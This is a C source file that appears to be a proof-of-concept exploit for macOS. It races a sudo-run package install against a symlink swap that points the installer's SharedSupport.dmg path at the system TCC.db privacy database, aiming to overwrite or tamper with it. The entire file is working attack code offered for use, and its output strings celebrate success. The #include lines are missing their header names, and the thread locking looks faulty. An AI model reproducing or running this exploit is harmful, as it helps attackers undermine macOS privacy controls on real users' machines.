#include #include #include #include #include #define MAX_THREADS 2 char *SHARED_SUPPORT_PATH = "/Applications/Install macOS Ventura.app/Contents/SharedSupport/SharedSupport.dmg"; volatile int file_created = 0; pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; char *TARGET_FILE = "/Library/Application Support/com.apple.TCC/TCC.db"; char symlink_cmd[256]; void *monitor_file_creation(void *arg) { pthread_mutex_lock(&mutex); while (!file_created) { struct stat buffer; if (stat(SHARED_SUPPORT_PATH, &buffer) == 0) { pthread_mutex_unlock(&mutex); file_created = 1; printf("[*] File created!\n"); break; } } return NULL; } void *create_symlink(void *arg) { pthread_mutex_lock(&mutex); //printf("[*] creating the symlink...\n"); if (system(symlink_cmd) == 0) { printf("[+] symlink [%s] -> [%s] created successfully!\n", SHARED_SUPPORT_PATH, TARGET_FILE); } else { printf("[-] failed to create symlink [%s] -> [%s]\n", SHARED_SUPPORT_PATH, TARGET_FILE); } pthread_mutex_unlock(&mutex); return NULL; } int main(int argc, char *argv[]) { if (argc == 1) { printf("No arguments provided. Usage: %s \n", argv[0]); return 1; } printf("[*] preparing the environment...\n"); char *PKG_PATH = argv[1]; sprintf(symlink_cmd, "sudo ln -sf \"%s\" \"%s\"", TARGET_FILE, SHARED_SUPPORT_PATH); pthread_t threads[MAX_THREADS]; pthread_create(&threads[0], NULL, monitor_file_creation, NULL); pthread_create(&threads[1], NULL, create_symlink, NULL); char installer_cmd[256]; sprintf(installer_cmd, "sudo installer -pkg %s -target / &", PKG_PATH); system(installer_cmd); pthread_join(threads[0], NULL); pthread_join(threads[1], NULL); pthread_mutex_destroy(&mutex); printf("[*] all done. enjoy :P\n"); return 0; }